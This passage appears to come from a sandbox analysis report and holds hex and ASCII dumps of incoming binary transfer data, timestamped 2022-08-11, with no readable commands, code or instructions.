9b 3e 85 65 aa 40 1f f9 7d bd 4d 08 20 73 c6 bf db b2 3c f4 73 97 3e e5 b7 8a ec 4f 1b 12 41 a9 00 d5 4e 3b 2b d3 b6 a0 
e3 b6 75 32 74 b6 bf dd 04 b6 44 69 85 2b 4c 72 3e 89 be 07 4a ea d2 e2 75 16 5e fe b2 b8 75 05 c0 d5 c3 3c 71 5b a7 
b2 3a eb 9d 33 6e 5d e2 22 bd cd 60 29 e7 5c 73 ed 66 fb 8a 16 fe 19 5a ad 46 5f bf 15 10 29 05 bb b0 b3 ba ea 89 40 f1 
a0 c5 2b 34 26 93 2a 4d 92 d5 41 60 b4 24 53 0f 7b 16 c4 7f ff d1 ea 00 f1 c7 de 1f 00 89 f6 c1 15 1c 31 32 69 03 98 a8 2a 
30 48 6d 1e 38 89 38 4d 82 a9 bb b7 4a 90 1a 56 99 63 8f 22 
Data Ascii: VKxrL`EcGU%"5<IaUm8=h{T+p<M>e@}M s<s>OAN;+u2tDi+Lr>Ju^u<q[:3n]"`)\sfZF_)@+4&*MA`$S{12i*0
Hm88MJVc"

2022-08-11 03:42:55 UTC 7735 IN Data Raw: 8f 8d 1b 18 c9 b1 9f 70 40 04 11 9e 34 44 30 5b 7d c0 da 39 7a f0 19 0f 1c 53 ac 90 ad 00 f7 57 ed 2a 16 5e 
67 3c 52 ac 12 ec 65 77 6a f9 8a e3 58 33 93 d1 fd ba bb 74 10 2c 8f 93 53 3a f3 c7 9f 79 6c ef a4 24 74 63 72 b5 d3 55 
a5 0e 30 86 6b 28 a2 fa 65 78 c9 5a fd 98 68 19 c4 45 b3 5c 2d c3 4a 2b a6 a4 d0 e6 71 d4 ee a0 e6 db a9 d4 ec f0 5c 27 
5c dd 23 86 9f e3 8e 7b 34 74 55 1b 37 97 c8 b1 10 c7 96 33 48 a6 cf 3e dc 37 20 93 12 86 a7 1d b5 a9 c9 6b 02 cb bf 49 
34 46 37 cc 62 d5 09 77 32 da e8 93 51 8d 20 ce 49 45 72 e0 d4 60 68 24 e8 b6 dd d5 fb 7d b2 3e dc 73 da a6 f5 b1 bf b6 
ee d2 2f 4c 95 d2 38 63 0b 54 d5 58 e9 2d f7 04 72 3a 86 31 83 64 cd 15 b9 50 32 38 43 19 ee c0 c0 04 4d d8 a6 00 29 
5b 9c eb 87 00 14 b3 86 cb 08 09 16 18 00 65 71 cf 00 14 5c 
Data Ascii: p@4D0[}9zSW*^g<RewjX3t,S:yl$tcrU0k(exZhE\-J+q\'\#{4tU73H>7 kI4F7bw2Q IEr`h$}>s/L8cTX-r:1dP28CM)
[eq\

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 7751 IN Data Raw: 48 c3 10 d8 00 58 06 35 30 08 62 30 c0 62 30 c4 30 18 00 7a 60 18 b8 e0 01 a9 80 05 4c 00 46 98 62 1a 98 
00 62 30 08 47 00 0d 4c 00 2a 57 00 c5 a7 00 11 a6 00 11 18 00 6a 60 10 a9 80 63 53 00 0b 00 86 a6 18 85 4c 21 88 8c 
30 1a 98 42 16 01 8d 4c 31 91 a6 02 45 4f 0c 01 02 a6 00 15 30 08 6a 60 18 a9 80 05 80 63 11 80 43 53 3c 01 03 91 80 0
6 a6 00 1a 98 04 2a 53 00 0a 98 07 02 a1 c0 21 a9 80 05 80 63 e1 0c 63 80 04 70 c0 6c 02 1b 00 86 c0 02 cf 00 0b 96 01 
8b 00 08 61 08 62 30 c4 44 e1 80 b0 08 58 06 2c 20 18 e1 80 d5 c3 03 ff d6 f4 20 31 f6 27 c5 0f 84 31 d1 8a 9a 8c 26 86 
98 5c 77 8f 19 aa 9a 63 27 49 36 59 1a 2f 7d c6 47 00 83 46 18 8f 2c bf 35 87 47 ee 5b b8 e3 11 03 c3 9e 32 7d 3a 7a 9b 
2e a5 ad 0d dd a3 dd f3 46 07 73 31 4c f1 c7 93 a6 ec 3b 31 f5 3d 
Data Ascii: HX50b0b00z`LFbb0GL*Wj`cSL!0BL1EO0j`cCS<*S!ccplab0DX,  1'1&\wc'I6Y/}GF,5G[2}:z.Fs1L;1=

2022-08-11 03:42:55 UTC 7755 IN Data Raw: 4c 3b 75 d4 e4 08 a3 66 af 0a 0c 66 f2 25 c4 da b8 ac f8 23 7b 67 f6 2e ed bc 29 78 d4 46 a3 9b e5 8e 5c 9d 
5d 68 75 e3 e8 ed 6e e3 7e c7 fb 51 7b 29 22 e6 40 87 96 9c c6 39 6d d7 2e 48 eb af 41 da ce 82 cb fb 4b 6a 8a 16 72 5c 
d3 32 0d 31 cd 6e b6 cf 81 d5 5e 8a ab 89 d1 6c 9e cc 5d 8e 43 db 99 fb 46 94 4e 03 2f 1c 72 64 cc ef c4 eb c7 85 53 81 
bf 3c b1 c4 ba 40 15 c7 39 b9 c5 4d ec 2b 4b bb a9 2f 1c 0a 48 6a 45 38 7c 31 da ba 96 94 1c 4f a6 ab 72 cc 4b cf ed a1 
25 a3 b6 1f a7 ea 15 f5 57 c0 1c 74 d7 ac 7c ce 7b 74 6b 91 c5 6e de d2 dc 76 a5 0d 2c 66 99 fd 9f 1c 7a 58 fa 8a dc f3 32
74 d6 a9 82 d1 95 e2 31 d7 27 1b 44 42 33 1a 28 a9 c3 92 60 8b c6 e8 74 b8 20 f9 e0 4e 44 d3 45 64 61 92 46 98 60 31 
18 62 82 24 60 10 d4 c0 02 a6 00 1a 98 72 02 23 04 88 6a 
Data Ascii: L;uff%#{g.)xF\]hun~Q{)"@9m.HAKjr\21n^l]CFN/rdS<@9M+K/HjE8|1OrK%Wt|{tknv,fzX2t1'DB3(`t ND
EdaF`1b$`r#j

2022-08-11 03:42:55 UTC 7771 IN Data Raw: 86 02 a6 00 16 00 15 30 00 a9 80 06 a6 00 1e 98 06 2c 00 2c 02 16 01 0e 30 00 a9 80 05 4c 00 3d 30 00 a9 
80 05 4c 00 2a 60 01 e9 80 62 a6 10 0a 98 62 16 00 15 30 0c 7a 61 00 a9 80 43 53 0c 63 d3 0a 46 35 30 c4 2c 20 16 18 
0e 30 80 54 c2 01 a9 87 20 35 30 c0 7a 60 10 c0 61 0c 7a 60 90 1a 98 24 05 4c 00 2a 60 90 15 30 00 a9 86 03 53 00 0a 
94 c2 01 53 00 0a 98 00 54 c0 21 53 00 c5 4c 12 02 a6 00 15 30 48 0a 98 24 06 03 04 80 a9 82 40 6a 61 8c 40 60 01 c0 
c2 90 1e 98 24 42 a5 30 48 08 8c 31 8d 4c 02 1c 60 02 58 43 15 30 80 58 04 2a 60 18 a9 80 43 e0 02 43 01 61 db 7a c6 
ee 35 e5 4c eb 8c 2e 6f 8e 24 d2 b7 d3 1d d0 62 e0 2d 7c 71 85 b5 47 55 74 67 42 bb a4 31 a1 50 e2 bf 1c 71 6c 6c ed f3 
10 1c 5b e2 c7 26 6d a4 78 d7 1a bc 46 7e 6a 34 64 f7 44 31 af 44 95 a6 
Data Ascii: 0,,0L=0L*`bb0zaCScF50, 0T 50z`az`$L*`0SST!SL0H$@ja@`$B0H1L`XC0X*`CCaz5L.o$b-|qGUtgB1Pqll
[&mxF~j4dD1D

2022-08-11 03:42:55 UTC 7787 IN Data Raw: d4 1a 5a 82 94 1f 2e 58 e5 fe c7 1f 61 d3 fd e5 fb 45 07 f7 87 dc e6 73 3c 97 52 6a e1 41 25 3f 65 34 e3 3b 74 
14 88 45 2e ae fc 64 ef b6 3f ff 00 58 e6 53 1d b6 f5 0b 3c 7a 48 33 28 1a ab c8 91 c2 9e 38 e1 b7 f8 d7 c9 9d d4 ff 00 21 
f5 1d 0a ff 00 7f f6 bb d6 fa 7b 34 04 b0 34 ee 54 1c b8 f0 f1 e5 88 fe c1 ad 59 a7 f7 e9 f0 1e eb fb cd f4 d1 84 8b b1 0c 8c 
69 a9 89 63 f0 a7 01 87 5e 8d 3e 62 7d 63 5c 0e 03 78 fe ee 7f 56 72 6f 67 96 44 07 86 9e 9f b1 46 3d 1a 74 aa 9c 0e 0b 
f5 36 b7 12 b7 df ec 44 02 e9 a6 41 1b d0 82 4e 79 f9 71 c6 ca 86 0f 22 2d 13 a4 9d 41 81 07 31 9e 2a 05 b8 42 65 7a 84 
20 9f 23 82 02 44 a6 99 d7 03 02 d0 c2 95 ae 20 a9 10 20 67 cb 08 24 9a b2 91 97 ed c2 65 c8 cd 22 d6 83 04 0a 48 f7 
39 0a 61 c0 a4 a8 d0 f8 57 17 02 18 69 5c f2 ae 
Data Ascii: Z.XaEs<RjA%?e4;tE.d?XS<zH3(8!{44TYic^>b}c\xVrogDF=t6DANyq"-A1*Bez #D  g$e"H9aWi\

2022-08-11 03:42:55 UTC 7795 IN Data Raw: 9e 36 49 23 26 db 07 92 79 5b 37 62 47 0c c9 e5 8d 15 51 9b 6c 94 11 b4 c4 50 71 c0 dc 02 52 68 c1 b4 dc 48 
41 89 41 53 cf 86 39 de 54 b8 9a aa 30 b8 b6 69 5a 55 83 39 26 6e 0b 18 24 fd a7 19 3c ca 24 d5 63 66 ba fb 23 73 24 34 
8e b1 a7 80 3a 8f db 8e 57 d6 57 91 b7 91 63 42 d3 d9 f0 23 52 e0 f7 0f 87 2c 61 6e ad be 05 2c 21 7b 85 8e d1 b7 42 42 
c6 a6 7a 64 a3 8f db 8c f1 e4 bd df 71 a5 ab 5a a3 8c 5d c3 43 d1 94 66 72 18 f5 b6 c9 c3 25 32 5e b2 4b a9 24 af e5 3c 
b1 6a b2 20 ab 7d cc 48 35 4b a1 54 0a 57 99 f1 c6 76 a4 70 34 4c a2 e3 7a 8a a6 91 a3 0f 16 40 4e 34 ae 26 27 64 00 
9b 8a 83 50 a0 11 e0 07 11 8d 9d 09 dc 0b 73 ba c9 21 a4 7d 23 89 cf 89 c6 95 c7 1c 4c 6d 90 a5 2e 65 7a 2a 93 9f 81 c3 
75 48 85 66 c4 42 a1 a7 13 82 46 41 8d 7c 8e 29 08 ac 28 e6 
Data Ascii: 6I#&y[7bGQlPqRhHAAS9T0iZU9&n$<$cf#s$4:WWcB#R,an,!{BBzdqZ]Cfr%2^K$<j }H5KTWvp4Lz@N4&'dPs!
}#Lm.ez*uHfBFA|)(

2022-08-11 03:42:55 UTC 7811 IN Data Raw: b0 2c fa 88 ed e3 92 4b b7 53 1d 4d 07 3a 57 2c b1 3b 5b e0 12 67 de 6e 9f d6 53 45 94 32 4c 6a 3a 90 9e 92 
46 5a b2 1c b1 a5 71 ec f8 88 6e 4d ab 7d 8d a6 b7 8e dd a6 28 50 75 68 cd c9 23 99 e1 4c 73 3c b0 e4 7b 64 d6 b1 b0 
b0 db a1 ed 47 11 98 d6 ba a6 72 f9 fc 38 63 96 f6 b5 dc cc 7a 8d 51 71 b9 89 ce 86 08 82 b4 00 28 03 3f 0c b3 c4 06 d6 
1a d7 11 c0 82 a4 85 34 1e 03 3e 18 c9 d6 4d 12 07 b4 df ad af 15 ca 49 a5 63 73 1f 57 4e 63 c3 cb 13 6a 6d e2 1b 43 3e 
b3 40 0d 23 f6 d4 f0 d5 91 e3 4e 78 cf 41 34 91 c1 2f f7 38 da 6e 46 d2 fb 5a 27 77 49 05 69 44 ee 7a bf fe 9e 3d 3f ed 37 
56 6a 43 bd 78 1d 5a fb ff 00 db d2 54 2c c4 50 d2 84 1c ce 3c f7 d3 dc 5b 59 89 bf ef 36 7b 94 7d d4 2c 2d d0 f4 d2 a1 4b 
79 b1 e7 e1 8e dc 11 4d 39 86 c3 1e 3b 3d b7 bb dd b8 
Data Ascii: ,KSM:W,;[gnSE2Lj:FZqnM}(Puh#Ls<{dGr8czQq(?4>MIcsWNcjmC>@#NxA4/8nFZ'wIiDz=?7VjCxZT,P<[Y6{},-
KyM9;=

2022-08-11 03:42:55 UTC 7827 IN Data Raw: 90 64 14 9a 7d d8 97 59 0d c1 0d bc 4c 99 c4 a4 7c 05 71 0b 12 0d c5 6b ee 0b d5 6c 80 1f 15 ae 2f ca 43 dc 
4c 7b 82 e0 9c d6 33 e5 a7 0b cb 41 bd 88 ef 97 61 b3 8a 32 a7 90 24 61 79 68 7b 8a e4 dd 25 93 36 81 7e f3 86 a9 02 
dc 0f fd 45 41 eb 89 41 c5 ed 16 f2 63 72 8f f0 05 fb 30 b6 8f 79 67 d7 43 20 ea a5 7e 1f c7 0a 0a de 52 d1 db 3e 7a 7e ec 
5a b3 41 20 73 ac 00 75 2b 7e cf f2 c6 ca cc 52 09 35 b4 13 2f e9 12 ad e2 40 61 4f 86 58 b5 91 a0 dc 49 36 7b 19 12 93 
39 2d e2 14 2f f9 e1 f9 f6 5c 0a dc 44 7b 76 c0 e4 24 7f d9 97 ec c3 fe e6 c1 b8 92 6c 50 44 43 09 5c 90 79 85 23 ee a6 07
d4 36 5a c9 06 e9 96 c0 28 d1 65 0a 4a 06 52 20 21 81 f1 19 e4 71 86 f6 7a 1f de a8 8d 94 9f a8 a9 6e 9d 53 46 b9 db f9 
e4 76 3f b4 e1 bb b6 72 3e a6 cf 99 64 7b b5 ca 54 24 
Data Ascii: d}YL|qkl/CL{3Aa2$ayh{%6~EAAcr0ygC ~R>z~ZA su+~R5/@aOXI6{9-/\D{v$lPDC\y#6Z(eJR !qznSFv?r>d{T$

2022-08-11 03:42:55 UTC 7834 IN Data Raw: 14 11 3d 7e aa 7d d8 a0 27 17 e9 0e 9c bc b1 2c a4 4c f7 1b 3c 20 20 59 d7 96 24 42 37 07 89 ae 1c 14 45 ae 
6b c2 9f 68 18 70 0c 41 95 fd 4a 09 fb b1 30 48 e2 24 7c 90 d0 e1 88 a9 e3 9d 4e 55 23 c8 e1 88 8a bb 2f a8 9a e0 19 3a 
a3 72 07 00 ca ca 44 7e 50 30 e4 43 08 62 ad 69 43 e4 70 48 0e d0 b9 04 24 ac bf 10 0e 05 62 91 5b db cc 45 0b 46 dc 
bc 0e 34 56 1c 92 fa 46 6e 00 1f 83 03 fc 70 b7 0c a9 76 c9 34 6a 15 af 85 30 f7 8a 04 89 34 06 94 3f 79 18 24 0a a7 b3 
b3 dc 14 ad d4 28 6b c7 a6 87 ef 18 16 47 5e 0c 7b 9a 2a 5d 96 d6 02 24 b4 7e d3 a7 a7 2c 0f 33 7c 4d 16 4e d0 09 5f dc 
97 0e c9 2a a1 84 1e 99 23 3a 9a 9e 06 b4 20 63 4f fe 70 36 d1 78 5d cc 47 42 aa a4 f0 cc d4 0f b6 bc 7c 31 33 50 94 52 
bb 5c af 39 b8 ba 96 a0 a9 5d 20 67 9f 99 f8 f8 63 47 96 14 
Data Ascii: =~}',L<  Y$B7EkhpAJ0H$|NU#/:rD~P0CbiCpH$b[EF4VFnpv4j04?y$(kG^{*]$~,3|MN_*#: cOp6x]GB|13PR\9] 
gcG

2022-08-11 03:42:55 UTC 7850 IN Data Raw: 74 ea 8b 7a e2 87 07 a0 58 7f 6e 36 4d ba 41 3d b2 32 c8 01 15 d6 6b 42 28 71 e5 5f ad c9 75 0d 95 a9 c3 fb 
df 62 de 36 79 bb ca d5 db aa 28 54 fa 7e fe 78 f5 7a 4c 94 ba 8f 98 69 1c 36 ed 7e 92 83 0c 72 3c b1 83 54 2c 73 1f 1c 
7b 38 e9 1a 94 8e cb 65 dd ae ef 6c e3 8e 6b 74 d1 1a 85 0c c3 d4 47 a7 2e 67 1e 4e 5c 4a b6 94 cc da 39 99 6d ae af 37 
85 84 b7 62 42 d4 15 cb ee c7 76 e5 5a 4f 11 68 91 b5 79 b5 cf 15 c8 37 93 c6 01 01 56 9c 58 0f 11 cb ed c7 2e 3c a9 af 
0a 63 a5 bb 0d ab 7f e9 7d bd 57 51 b4 b5 01 68 0d 05 06 39 32 3c 93 e1 70 37 25 fb 76 d1 0f b6 ee 9a 77 90 3c 73 00 62 
0d 91 04 67 5f b3 18 64 cc f3 56 23 87 12 1d a4 3b 75 49 af 19 2e 10 34 4c dd 41 c6 64 d3 81 a1 c6 58 ae ab a7 12 64 21 
1e 2b a4 48 25 26 4a 00 49 e0 c6 9e 38 ca cd ad 48 6c 12 
Data Ascii: tzXn6MA=2kB(q_ub6y(T~xzLi6~r<T,s{8elktG.gN\J9m7bBvZOhy7VX.<c}WQh92<p7%vw<sbg_dV#;uI.4LAd
Xd!+H%&JI8Hl

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 7854 IN Data Raw: a4 20 9c 71 29 1d 64 8c 26 c5 04 c4 28 0f 49 18 8d cc 70 4c 8a 0c f0 80 81 52 78 65 87 22 10 0c 78 8e 18 62 
27 a8 9c b3 fb 71 30 50 b5 81 c7 04 0c 63 28 02 bc 70 f6 88 80 b8 a8 39 53 0f 68 86 69 a9 90 e3 87 b4 05 dc a7 13 85 03 
17 75 80 c8 fd 98 36 84 8e 6e 1d 05 48 ae 0d a9 8d 31 1b a7 c8 11 41 83 62 2c 89 9a b9 01 90 c3 da 22 51 d5 d8 12 68 
be 18 4c a4 5a 04 87 20 01 18 43 26 ad 46 cf 23 f7 8c 24 5a 1f 53 16 d3 52 6b 8d 15 8b 26 c0 d3 3e 07 ed a6 2a 34 14 08 
47 19 1d 0c 35 f2 af 8e 05 54 10 52 ba a8 0b fa 87 1a 0a 0c 65 6e 24 c1 6a ca 12 80 9a 1f e3 89 42 91 48 c5 c7 db 9e 1e 
e1 a6 3d 4e 44 e7 4c fc 31 4a c5 c9 5a b9 88 b3 44 4a c8 4e 65 ba 81 a7 96 36 ae 58 ef 1a c9 05 92 5f 32 c6 0b 8d 67 9d 
3a 7e da 62 d6 69 65 79 92 51 ac 29 67 53 4a d3 89 c4 3c ac 
Data Ascii:  q)d&(IpLRxe"xb'q0Pc(p9Shiu6nH1Ab,"QhLZ C&F#$ZSRk&>*4G5TRen$jBH=NDL1JZDJNe6X_2g:~bieyQ)g
SJ<

2022-08-11 03:42:55 UTC 7870 IN Data Raw: 9e 1e 1e e1 c0 06 df bc 5a 5f be a8 e1 d5 a4 67 9d 39 79 f2 1c 31 d1 97 05 a8 b5 64 1a 11 2c 3b 8c 4c f1 d0 
29 61 a5 d4 83 c0 d4 d3 2e 15 14 c7 33 9c 6e 18 c9 98 ed 16 4d 61 57 52 9e 34 e6 70 a6 d1 01 20 30 49 1d cc c6 3b 50 
bf a7 23 2c 8a 78 f4 8a 57 ff 00 6e 37 b2 75 53 6e 69 47 b4 90 45 09 67 37 fd dd c8 a3 69 a2 b0 e9 62 01 01 46 64 d3 3c 
ce 36 6f 7a f0 d7 f7 0a 0d 38 8c 37 57 0b 16 96 58 54 2b ab 2f 4a 13 98 20 9f 9a 98 e5 73 5a cf 3e 1d b6 2d 0d 37 d3 6e 
10 17 84 e9 28 c4 02 94 62 3c d6 be 38 75 dd 47 0f 9f 68 dc 3e 05 17 fb 43 5e e8 86 79 7b 71 46 cb 2f e9 00 ae 4a fe 2c 
5e 3c db 25 a5 2d f8 7c 5f 0e bd 84 b5 04 66 b8 82 c2 64 17 13 ae b9 09 55 14 ca 99 9a 01 e7 86 aa ee b4 5c 04 8a e4 
bc db e2 2f 74 d2 95 52 55 4b 0e 03 90 a7 20 73 c5 aa 5d c5 60 
Data Ascii: Z_g9y1d,;L)a.3nMaWR4p 0I;P#,xWn7uSniGEg7ibFd<6oz87WXT+/J sZ>-7n(b<8uGh>C^y{qF/J,^<%-|_fd
U\/tRUK s]`

2022-08-11 03:42:55 UTC 7886 IN Data Raw: ad 71 a6 2c de 5f 15 b8 d9 d7 71 76 df b3 cf 65 29 73 73 24 ab a6 81 5e 87 ed af 1c 46 4c ca ea 36 a5 ea 2e 
b8 e3 50 b8 84 aa ad de 2a 5c 92 40 5f c3 cb ed c6 36 8e 45 08 87 90 a8 50 29 f3 56 b9 03 e1 cb 0b 44 41 68 0b 50 00 
50 47 89 e1 89 92 e4 67 b7 07 a8 37 11 4e 3f bb 02 b1 9d b5 2a 5d a2 dd 01 03 8b 8a 13 c0 91 4a 72 cf 16 f3 37 ec 31 d8 
8c 14 f6 5d be dd de 6d aa 53 03 dc 1e b6 20 39 14 14 1a 75 70 f2 ad 71 e8 be be d9 23 cc 5b b6 f0 f9 41 d1 33 3f 6d f6 
63 fb 7d d9 ed ee 2e 64 92 46 24 9a 29 15 39 55 be 03 1d 39 7a e5 9d 6a aa 92 f5 92 ea d7 03 7b 6b 86 f6 03 d8 9e 2a 
5b 0c 94 86 ab 53 f1 37 c7 1e 76 6b 51 ea 9f 8b ec f6 17 49 5c 4d 43 65 61 23 ac 8d 12 49 22 9e 92 c0 1a 79 e3 8f cc ba 
d2 5a 47 42 80 a1 1a 05 a2 00 be 18 ca 4a 68 07 73 d9 e0 de a2 
Data Ascii: q,_qve)ss$^FL6.P*\@_6EP)VDAhPPGg7N?*]Jr71]mS 9upq#[A3?mc}.dF$)9U9zj{k*[S7vkQI\MCea#I"yZGBJhs

2022-08-11 03:42:55 UTC 7894 IN Data Raw: 9a 66 79 d2 bf 66 33 df d8 68 aa d8 d6 b7 76 d7 71 09 97 56 9a 91 4e 79 1a 7e dc 5b 6d 03 50 16 93 40 08 d2 
80 81 ce 9f be b8 e6 b4 b1 a6 5c d2 39 3f a6 02 ae 47 21 41 97 c3 19 a2 a4 ac 5d b3 d4 13 9f 95 78 e1 93 23 ad e4 ed c1 
88 f0 cf 3c 68 aa 89 6c 76 b8 04 8a 92 08 e2 d8 70 12 3e b4 61 50 c7 51 c5 a0 92 99 09 5e 78 a1 09 99 c8 24 b1 20 66 
07 9e 18 88 ea 7a e9 02 bf 13 87 22 1d 8b 64 00 14 c1 20 56 43 37 1c 2d c2 18 a5 05 09 c3 dc 22 1d b0 45 35 1f f8 61 79 
90 02 ec 91 90 04 f8 60 f3 50 41 37 8e 58 48 d4 b9 91 5a 53 3c f8 57 c3 10 b2 d6 dc 18 e0 87 79 cf 11 9e 2a 40 62 ba 86 
a3 5c 02 12 00 45 49 cf 10 d8 c9 e9 ad 34 ff 00 eb 8c c6 45 83 66 69 9f 9e 09 02 1d 47 8f 1c 3d c0 3b 05 a6 79 b6 1c 88 
af 41 02 b9 d7 14 ac 05 26 32 73 3c 71 4a c0 22 85 40 38 ad 
Data Ascii: fyf3hvqVNy~[mP@\9?G!A]x#<hlvp>aPQ^x$ fz"d VC7-"E5ay`PA7XHZS<Wy*@b\EI4EfiG=;yA&2s<qJ"@8

2022-08-11 03:42:55 UTC 7910 IN Data Raw: 85 94 48 18 d6 85 8e 59 54 8c ab e3 85 8f 0d 61 3d 53 e0 30 ad b7 7b bb 36 06 6b 88 56 83 ab 56 b0 03 a9 
15 55 a6 6d 4c 65 97 a7 ae f8 4f ec e0 f9 83 31 37 8b fb 4d d0 fa da 15 ee ab b2 53 32 ec 33 23 92 aa a8 a0 fd b8 ef c1 8e 
d8 ff 00 36 8d 7b 3f 79 48 b2 d2 fa d8 c8 af 6c c4 55 42 80 4e 41 57 86 af cc de 9c 4d f1 da 3c 5e 8f f7 13 65 a1 ae 84 b8 
f1 c6 35 47 23 19 22 15 a9 24 fd 98 da 45 05 aa 88 2b 9d 3e 18 a4 c2 0c cd d6 f4 c0 e2 de 9a 75 a5 55 ce 59 d4 d6 9e 7c 
29 86 a9 3a fd 86 d4 ac 99 5b 6d 9c b6 c9 2d cc ab a9 19 6b 52 45 02 93 f3 67 d4 68 39 63 6c b9 15 a2 ab 97 a6 87 52 
d4 cf 4b 4b 79 e0 96 67 8e 90 3a 68 fd 21 5a 65 5c aa 3e 6f c5 f2 e3 67 77 56 94 eb 33 e2 f4 fb 0c 6d 5d 4c df 6f 6c 1b 5d 
95 c9 8e f1 e2 97 33 2a c8 85 83 28 e1 d4 79 28 a3 53 
Data Ascii: HYTa=S0{6kVVUmLeO17MS23#6{?yHlUBNAWM<^e5G#"$E+>uUY|):[m-kREgh9clRKKyg:h!Ze\>og
wV3m]Lol]3*(y(S

2022-08-11 03:42:55 UTC 7926 IN Data Raw: d2 94 34 26 a7 f0 8c 65 67 6b 5b c5 c5 f7 09 a1 86 e1 3d c7 72 58 e3 05 54 74 3d 75 06 fe 5c 3f 29 56 13 7e 
b5 c2 08 68 cb 6b df 72 22 8a da c6 54 01 56 d6 09 62 5b 86 79 53 ff 00 6e 3b 36 60 7f 33 f7 70 d0 7b 50 ae 6e 37 96 b6 
13 5c 5c 45 09 08 19 b4 02 e5 2b c8 53 d4 34 d6 be 79 61 52 b8 b7 42 4e de bf 0e ef d8 49 b5 06 e7 6b 75 6e b3 c7 39 
d7 25 28 f4 a5 4f 2c b8 63 86 d8 ad 5b 43 5c 39 1a 40 a3 8b 70 aa a0 78 cb d4 96 d5 40 5b 99 f2 1e 5e 58 1b a7 18 63 88 
21 ba 48 c6 dd 1e e6 04 92 60 40 d2 a5 4a d2 b9 d0 9a 64 46 58 78 57 8a 2a da 44 b2 b8 f7 ab 6b 36 48 16 0a 95 04 d1 
41 cb c5 aa 79 67 8b 78 2d 7d 64 24 a2 5f 71 3d b1 47 48 1b b6 ce b1 a4 79 13 43 ce 9c 7e fc 69 5e 95 5a 53 7c a5 b2 82 
9f 79 67 63 f4 51 96 9d 4c 81 c1 e0 18 53 2d 47 87 aa a3 18 ac 
Data Ascii: 4&egk[=rXTt=u\?)V~hkr"TVb[ySn;6`3p{Pn7\\E+S4yaRBNIkun9%(O,c[C\9@px@[^Xc!H`@JdFXxW*Dk6HAygx-
}d$_q=GHyC~i^ZS|ygcQLS-G

2022-08-11 03:42:55 UTC 7934 IN Data Raw: 3a 3e 55 c7 55 2e f2 cd 68 d6 24 bb f9 be fe f2 bd 46 a4 bb 8b c7 03 5d d2 77 b7 55 e9 82 38 80 1d 59 54 05 
1a 83 fc 71 c6 b1 4b db e1 56 e7 6b 3f df 1b 46 43 64 db 85 a5 b2 10 2e 12 dc ad 5b b8 47 75 5b d2 ab 90 07 21 e2 3e 38 
ac f9 77 59 fc 2e dd df 07 78 71 05 b9 f6 7c 57 11 76 a4 bd bb d2 ae ed db 47 5a 93 f3 2e b2 bc f9 e3 6a 75 ae ae 55 69 
c1 6a d3 f7 ed 91 87 6d bb 56 dd 60 7b 50 4d 22 c8 28 34 97 aa e7 c9 b2 1a b1 cf 97 35 ef ab 4a 3d 5e 90 66 d9 75 d2 db 
d5 cc aa b5 0a a1 8d 05 40 63 4c 9b 8a 54 78 62 29 bb 48 f4 8f bc 24 ae cd 60 ba 84 22 cd 24 91 2f 18 c8 34 03 f0 f0 19 
03 e7 8a bb 75 73 09 3e df c4 53 04 99 42 49 70 7b 4a b1 20 5e d1 2c 2b 50 09 62 00 cc 71 c2 4e 52 d7 57 3b bf 01 c8 0e 
e3 bd d8 44 ff 00 53 b9 46 bd 0a 0a 48 6a fa 1b f0 83 ea 
Data Ascii: :>UU.h$F]wU8YTqKVk?FCd.[Gu[!>8wY.xq|WvGZ.juUijmV`{PM"(45J=^fu@cLTxb)H$`"$/4us>SBIp{J ^,+
PbqNRW;DSFHj

2022-08-11 03:42:55 UTC 7950 IN Data Raw: 0f fe 2c cf 64 19 1e df f7 84 d7 d3 ac f7 7a fb 4f 2b c3 1b f6 ca a1 d0 de 20 37 51 5c a8 74 d3 1d bd 4f 42 a8 a2 
bc 52 56 b2 9f 17 89 0b 6c 30 cb cf af 79 5e e2 c9 01 95 7a 9e ac 33 40 c4 ac 7c 4f 54 98 c7 1e c4 b6 d9 e9 cb d7 ce de 
aa 88 d6 b0 99 f7 38 04 c6 3a 2d 0e b4 9a 31 5d 40 00 28 4d 45 17 c7 9e 38 b2 55 63 71 3e a7 56 69 10 01 2d fe ef 38 93 
45 a4 69 3f aa 2e e0 56 8c d0 69 00 48 2b 43 c1 b3 a7 f0 c7 42 c7 8d 44 d9 b5 f3 6d 95 6e df 84 36 18 d0 ec 77 c6 73 71 
bb dd a6 99 50 47 58 c3 00 1b 25 f9 fa 6b c2 9a 47 ec c7 7d ba 8a 44 63 af 07 3a c7 fc 7f 13 16 a1 8a f7 71 b2 da 2e 6d 
ac 0a a3 5a 39 62 65 64 3a 04 a4 8d 1a 9a 9a 57 3c c7 ee c1 4c 56 cb 5b 5f e6 5f 2c f8 b6 73 ef 65 9a 36 96 97 4a a2 db 
70 bb 57 69 0c 8b 18 56 a0 64 39 8a e6 7e 1a 54 e6 
Data Ascii: ,dzO+ 7Q\tOBRVl0y^z3@|OT8:-1]@(ME8Ucq>Vi-8Ei?.ViH+CBDmn6wsqPGX%kG}Dc:q.mZ9bed:W<LV[__,se
6JpWiVd9~T

2022-08-11 03:42:55 UTC 7954 IN Data Raw: 3b 7f a9 9c 5c 4a e2 82 23 9e a3 e5 f8 45 31 eb ae 97 2d 65 ed ae da af 9b b0 d7 5e 27 40 6e a3 44 d7 34 c0 
05 c9 90 e4 c6 82 a6 87 e1 8f 37 63 7a 25 ed 27 89 8c bf dc 0b 20 e6 d2 da 36 37 44 74 f4 1d 2c 47 2a f2 c7 73 ff 00 1b 
68 dd 67 e1 f5 97 b5 93 b9 dc a7 dc 63 92 de de 5d 46 83 52 01 e9 62 01 05 58 d3 8f 98 c4 d7 12 a3 56 6b db fb 89 da 0b 
69 63 bc 25 c7 79 a4 fd 03 50 f1 54 57 4d 41 a0 20 f1 af a8 fd 98 da f9 31 3a c4 6b ca dd e3 82 37 de d5 9b 73 ba fa d9 9d
e0 8a 80 18 94 ea 62 47 33 e1 5c 3c 7d 62 c7 5d a9 2b 3f a8 48 d3 bc 56 8a d8 5b cf 1b ca 1c 94 3d 93 42 b9 7c f8 e5 a3 
9b 6e 4d 28 d7 c5 ff 00 11 24 42 3d a7 b4 d1 34 6b 21 8e 3a aa af c8 9e 54 07 3a 79 f0 c3 79 a6 66 25 ff 00 53 00 f9 cb 
4a c0 49 0a 4f 03 28 05 a2 35 21 b3 06 a0 f0 14 c7 3d 
